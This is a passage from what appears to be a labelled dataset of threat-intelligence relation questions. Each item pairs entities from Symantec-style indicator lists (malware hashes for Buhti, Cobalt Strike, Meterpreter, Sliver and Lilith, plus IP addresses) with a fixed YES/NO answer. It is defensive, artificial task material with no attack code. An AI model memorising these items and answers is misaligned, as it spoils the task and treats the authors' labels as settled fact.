tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Sliver\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Linux\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Windows\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n81.161.229.120\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n91.215.85.183\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Exfiltration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf\n### Target Entity: 515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3\n### Target Entity: Lilith\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b\n### Target Entity: Hacktool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22\n### Target Entity: Custom Proxy Tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source 